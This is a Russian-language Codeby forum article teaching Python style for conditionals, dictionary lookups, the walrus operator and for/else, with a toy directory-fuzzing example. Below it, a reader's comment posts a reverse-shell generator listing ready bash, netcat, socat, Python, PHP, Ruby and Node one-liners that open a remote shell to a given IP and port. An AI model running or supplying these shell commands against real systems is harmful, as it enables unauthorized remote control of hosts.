Статья Наставления изучающим Python. Часть 2. Условия и циклы

f22

Codeby Academy
Gold Team
05.05.2019
1 940
228
BIT
1 770
Друзья, всех приветствую!
Меня зовут Дмитрий и я являюсь инструктором и соавтором курсов Основы Python и Python для Пентестера академии Codeby.

1705238349523.png 1705238356261.png

Это вторая часть серии статей, где я рассказываю о распространённых ошибках учеников курса и показываю способы исправлениях таких ситуаций. Часть 1.


1. Длинный if

Как многие из вас знают, оператор if в python используется для проверки условий. У этого оператора существуют блоки ветвления elif и else (хотя может использоваться и без них). Зачастую, когда в программах требуются сразу все элементы этой конструкции, код условия может выглядеть довольно объёмно.

Предположим, нам нужно написать небольшую программу, которая будет запрашивать у пользователя название столицы и возвращать континент, на котором расположен этот город.

Попробуем реализовать решение “в лоб”: создаём кортеж, где в каждой строке перечислим названия столиц, соответствующих континентов. Запрашиваем ввод пользователя, приводя строку к нужному регистру, и условием if проверяем по очереди все строки кортежа:

carbon (15).png
Python:
capitals = ('Каир Претория Абуджа', 'Пекин Токио Сеул', 'Москва Минск Ереван',
            'Оттава Мехико Вашингтон', 'Богота Бразилиа Буэнос-Айрес',
            'Канберра Веллингтон Порт-Морсби')

user_input = input('Введите название столицы: ').title()

if user_input in capitals[0]:
    print(f'{user_input} находится на континенте Африка')
elif user_input in capitals[1]:
    print(f'{user_input} находится на континенте Азия')
elif user_input in capitals[2]:
    print(f'{user_input} находится на континенте Европа')
elif user_input in capitals[3]:
    print(f'{user_input} находится на континенте Северная Америка')
elif user_input in capitals[4]:
    print(f'{user_input} находится на континенте Южная Америка')
elif user_input in capitals[5]:
    print(f'{user_input} находится на континенте Австралия')
else:
    print(f"Данные по {user_input} не найдены!")
Подобное решение будет отчасти рабочим (если мы введём пробел или пустую строку, то получим ошибочный результат), и слушатели чаще всего используют подобный подход к решению заданий.
Но существует несколько рекомендаций по оптимизации и упрощению кода.

Первое, что я рекомендую - это поместить проверку негативного варианта в самое начало условия. Тем самым мы сразу показываем, какой ситуации хотим избежать.

Описать эту проверку можно разными способами и, думаю, многие сразу захотят использовать цикл, но я бы предложил вариант проще: проверим длину, чтобы избежать ошибки пустой строки, и “склеим” кортеж в одну строку, а через оператор in проверим вхождение:

carbon (16).png

Читая этот код, мы сразу видим, что строка длиной меньше двух символов и строка не из кортежа capitals нам не подойдут. Для этого не придётся просматривать всё условие до конца.

Вторым действием я призываю активнее использовать вложенность условий. То есть расположить проверки на своих уровнях вложенности.
В нашем примере есть две проверки: первая - для проверки наличия строки в кортеже, вторая - для проверки совпадения. В таком случае разумно будет создать как раз два уровня вложенности:

carbon (17).png

Python:
if len(user_input) < 2 or user_input not in ' '.join(capitals):
    print(f"Данные по {user_input=} не найдены!")
else:  
    if user_input in capitals[0]:
        print(f'{user_input} находится на континенте Африка')
    elif user_input in capitals[1]:
        print(f'{user_input} находится на континенте Азия')
    elif user_input in capitals[2]:
        print(f'{user_input} находится на континенте Европа')
    elif user_input in capitals[3]:
        print(f'{user_input} находится на континенте Северная Америка')
    elif user_input in capitals[4]:
        print(f'{user_input} находится на континенте Южная Америка')
    elif user_input in capitals[5]:
        print(f'{user_input} находится на континенте Австралия')
Логика кода не поменялась, но визуально работать с ним будет гораздо проще - разные уровни проверки помогают сориентироваться в условиях.

Можно пойти ещё дальше и не описывать последнее условие, отправив его в else

carbon (18).png
Python:
if len(user_input) < 2 or user_input not in ' '.join(capitals):
    print(f"Данные по {user_input=} не найдены!")
else:   
    if user_input in capitals[0]:
        print(f'{user_input} находится на континенте Африка')
    elif user_input in capitals[1]:
        print(f'{user_input} находится на континенте Азия')
    elif user_input in capitals[2]:
        print(f'{user_input} находится на континенте Европа')
    elif user_input in capitals[3]:
        print(f'{user_input} находится на континенте Северная Америка')
    elif user_input in capitals[4]:
        print(f'{user_input} находится на континенте Южная Америка')
    else:
        print(f'{user_input} находится на континенте Австралия')
Обе описанные рекомендации - использование разных уровней вложенности и перемещение негативного варианта в начало положительно скажутся на читабельности кода. Активнее используйте их в ваших программах.


2. Использование словаря и if

Довольно часто использование длинного условия можно заменить словарём и условием проверки вхождения. Представьте, что нам нужно получить коды ответов сайтов и для каждого блока кодов создать определённое цветовое оформление.

Первое что приходит в голову, это создать цикл и условие:

carbon (20).png
Python:
import requests
from colorama import Fore

target_urls = ('https://codeby.net', 'https://codeby.school/', 'https://codeby.games/',
                      'https://codeby.games/pages/notifications', 'https://yandex.ru')

for url in target_urls:
    response = requests.get(url, allow_redirects=False).status_code
   
    if response // 100 == 2:
        print(Fore.GREEN, end='')
    elif response // 100 == 3:
        print(Fore.CYAN, end='')
    elif response // 100 == 4:
        print(Fore.RED, end='')
    else:
        print(Fore.YELLOW, end='')
   
    print(f'{response}{Fore.RESET} ==> {url}')
Условие уже состоит из 4 ветвлений, а представьте, насколько оно разрастётся, если нам захочется оформить свои подгруппы, чтобы отличить, например, 400 код от 404?

В подобной ситуации разумнее будет создать новый объект - словарь, поместив в ключи те самые коды:
Python:
codes_colors = {200: Fore.GREEN, 300: Fore.CYAN, 404: Fore.RED}
Теперь нам остаётся создать одно условие проверки вхождения кода в ключах словаря и дальше получать код по этому самому ключу:

carbon (22).png
Python:
import requests
from colorama import Fore

target_urls = ('<https://codeby.net>', '<https://codeby.school/>', '<https://codeby.games/>', '<https://codeby.games/pages/notifications>', '<https://yandex.ru>')

codes_colors = {200: Fore.GREEN, 300: Fore.CYAN, 404: Fore.RED}

for url in target_urls:
    response = requests.get(url, allow_redirects=False).status_code
   
    if response not in codes_colors.keys():
        print(Fore.YELLOW, end='')
    else:
        print(codes_colors[response], end='')
       
    print(f'{response}{Fore.RESET} ==> {url}')
Мало того, что мы смогли сделать код компактнее, так ещё и расширение его будет гораздо проще - добавить нужный элемент в словарь гораздо быстрее, чем несколько строк ветвления.

Опять же воспользуемся рекомендацией выше по расположению негативного условия в самом начале. Можно поступить ещё проще, указав не полный код, а только первую цифру в ключах, но тогда придётся получать эту цифру через деление или приведение к строке.

Как видите, подобных подход с использованием словаря в ряде случаев, делает код значительно проще и понятнее.

В версии python 3.10 была конструкция switch/case, которая так же будет выполнять аналогичную задачу.


3. Моржовый оператор.

Заканчивая тему условий, нельзя не сказать про введённый в версии 3.8 моржовый оператор.
Конструкция := (похожая на глаза и клыки моржа) позволяет прямо в условии if создать переменную и там же проверить её.
То есть вместо

carbon (23).png
можно оформить код сразу в строке условия:

carbon (24).png
Как видно из примера выше, мы можем вызывать нужные методы сразу у моржового выражения.

Обратите внимание, что выражение с моржом нужно оборачивать скобками, если в следующих частях условия мы хотим продолжать работать с ним. Иначе могут возникнуть досадные ошибки логики:

1705240103117.png

Из-за того, что мы явно не указали, какой именно объект хотим получить в переменную, python стал выполнять выражение как обычно справа налево: запросил строку у пользователя и сравнил её со строкой 'password':
Python:
input('Введите пароль: ') != 'password'
а результат этого выражения уже поместил в переменную.
В итоге, если пароль будет правильным, в переменной окажется True, иначе - False.

Если же мы хотим получить не булево значение, а введённую строку, убираем в скобки выражение с моржом

1705240195935.png

Тем самым мы поместили результат вызова функции input в переменную, а условие проверит равенство введённой строки и строки 'password'. Обращайте на этот момент особое внимание!

Ну а так как цикл while - это такое же условие if, только выполняющееся до тех пор, пока условие истинно, использовать моржовый оператор можно и в нём:

carbon (27).png

Код выше будет запрашивать ввод пользователя до тех пор, пока он не введёт число.

Использовать моржовый оператор в других частях кода я считаю нецелесообразным, всегда можно создать иную, более простую альтернативу, а вот для условий и цикла while - это очень удобная конструкция.


4. Оператор else в циклах for и while

Раз уж мы затронули тему циклов, хочется несколько слов сказать о ветвлении в нём.
Думаю, всем известно, что инструкция break прерывает цикл, но как узнать, была ли она вызвана в процессе выполнения кода? В python решили, что такая проверка будет полезным дополнением и в циклах for и while добавили опциональную ветку else.

Код в этом блоке выполнится только в том случае, если оператор break не был вызван, то есть мы прошли цикл до конца или условие цикла (в случае с while) приняло значение False.

Подобную логику можно использовать при проверке какого-то объёма данных. Например, нам нужно фаззить сайт до тех пор, пока не найдётся страница с личным кабинетом, но, если такой страницы не оказалось в нашем списке, покажем соответствующее сообщение:

carbon (28).png
Python:
import requests

target_dirs = 'cab cabinet kabinet admin administrator login'
url = 'https://google.com/'

for dir in target_dirs.split():
    if (st_code := requests.get(f'{url}{dir}', allow_redirects=False).status_code) == 200:
        print(f'Страница кабинета найдена! => {url}{dir}')
        break
    print(f'{url}{dir} => {st_code}')
else:
    print('Поиск завершён. Страницу кабинета не нашли.')
Если не пользоваться блоком else, придётся после цикла добавлять ещё одно условие, которое проверит последний полученный статус код.
Расскажите в комментариях, как бы вы реализовали подобную логику.


В следующих частях хочется рассказать о тонкостях работы со встроенными и пользовательскими функциями, исключениями и многом другом!

А ещё больше знаний о языке python, его использовании в вебе, фаззинге и информационной безопасности в целом вы можете получить на наших курсах в Академии Кодебай! Ну а попрактиковаться всегда можно на платформе Codeby.Games


Спасибо всем, кто дочитал! Комментарии и замечания приветствуются! :)
 

Exited3n

Red Team
10.05.2022
760
259
BIT
763
Спасибо за материал, как всегда круто!
Писал когда бота, раз в жизни решил воспользоваться конструкцией match case в питоне :)

Python:
import random as rand
from icecream import ic


def generate_revshell(ip_addr: str, port: int, *args: (None, str)) -> str:
    try:
        php_shells = [f'''php -r '$sock=fsockopen("{ip_addr}",{port});exec("/bin/bash <&3 >&3 2>&3");\'''',
                      f'''php -r '$sock=fsockopen("{ip_addr}",{port});passthru("/bin/bash <&3 >&3 2>&3");\'''']
        bash_shells = [f'''/bin/bash -i >& /dev/tcp/{ip_addr}/{port} 0>&1''',
                       f'''exec 5<>/dev/tcp/{ip_addr}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done''',
                       f'''/bin/bash -i >& /dev/udp/{ip_addr}/{port} 0>&1''']
        python_shells = [f'''export RHOST="{ip_addr}";export RPORT={port};python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")\'''',
                         f'''python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("{ip_addr}",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")\'''']
        nc_shells = [f'''rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {ip_addr} {port} >/tmp/f''',
                     f'''nc {ip_addr} {port} -e /bin/bash''',
                     f'''nc -c /bin/bash {ip_addr} {port}''']
        socat_shells = [f'''socat TCP:{ip_addr}:{port} EXEC:/bin/bash''',
                        f'''socat TCP:{ip_addr}:{port} EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane''']
        ruby_shells = [f'''ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("{ip_addr}",{port}))\'''']
        node_shells = [f'''require('child_process').exec('nc -e /bin/bash {ip_addr} {port}')''']

        if args[0] is not None:
            match args[0]:
                case "php":
                    rev_shell = rand.choice(php_shells)
                    return rev_shell
                case "bash":
                    rev_shell = rand.choice(bash_shells)
                    return rev_shell
                case "python":
                    rev_shell = rand.choice(python_shells)
                    return rev_shell
                case "nc":
                    rev_shell = rand.choice(nc_shells)
                    return rev_shell
                case "socat":
                    rev_shell = rand.choice(socat_shells)
                    return rev_shell
                case "ruby":
                    rev_shell = rand.choice(ruby_shells)
                    return rev_shell
                case "node":
                    rev_shell = rand.choice(node_shells)
                    return rev_shell

        return rand.choice(php_shells + bash_shells + python_shells + nc_shells)
    except Exception as e:
        ic(e)
 
  • Нравится
Реакции: f22

f22

Codeby Academy
Gold Team
05.05.2019
1 940
228
BIT
1 770
Python:
        if args[0] is not None:
            match args[0]:
                case "php":
                    rev_shell = rand.choice(php_shells)
                    return rev_shell
                case "bash":
                    rev_shell = rand.choice(bash_shells)
                    return rev_shell
                case "python":
                    rev_shell = rand.choice(python_shells)
                    return rev_shell
                case "nc":
                    rev_shell = rand.choice(nc_shells)
                    return rev_shell
                case "socat":
                    rev_shell = rand.choice(socat_shells)
                    return rev_shell
                case "ruby":
                    rev_shell = rand.choice(ruby_shells)
                    return rev_shell
                case "node":
                    rev_shell = rand.choice(node_shells)
                    return rev_shell
Попробуйте оформить эту конструкцию через словарь, получится значительно компактнее)
 
  • Нравится
Реакции: Exited3n

Exited3n

Red Team
10.05.2022
760
259
BIT
763
Python:
        if args[0] is not None:
            match args[0]:
                case "php":
                    rev_shell = rand.choice(php_shells)
                    return rev_shell
                case "bash":
                    rev_shell = rand.choice(bash_shells)
                    return rev_shell
                case "python":
                    rev_shell = rand.choice(python_shells)
                    return rev_shell
                case "nc":
                    rev_shell = rand.choice(nc_shells)
                    return rev_shell
                case "socat":
                    rev_shell = rand.choice(socat_shells)
                    return rev_shell
                case "ruby":
                    rev_shell = rand.choice(ruby_shells)
                    return rev_shell
                case "node":
                    rev_shell = rand.choice(node_shells)
                    return rev_shell
Попробуйте оформить эту конструкцию через словарь, получится значительно компактнее)
Я когда писал, только начинал в питон вникать и боялся словарей )
Сейчас то конечно люблю и уважаю, может и перепишу если время будет
 
  • Нравится
Реакции: f22

yetiraki

Green Team
07.02.2023
64
109
BIT
466
Ох уж этот мордовый оператор, не поддается он мне =)))
За статью спасибо!
 
  • Нравится
Реакции: f22

Johan Van

Green Team
13.06.2020
363
694
BIT
402
Ох уж этот мордовый оператор, не поддается он мне =)))
За статью спасибо!
Помню, так же в самом начале Дмитрий мне про оператор этот подсказывал )) Он только появился и я его тогда не особо понимал. А потом как понял.... :LOL:
 
  • Нравится
Реакции: f22
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!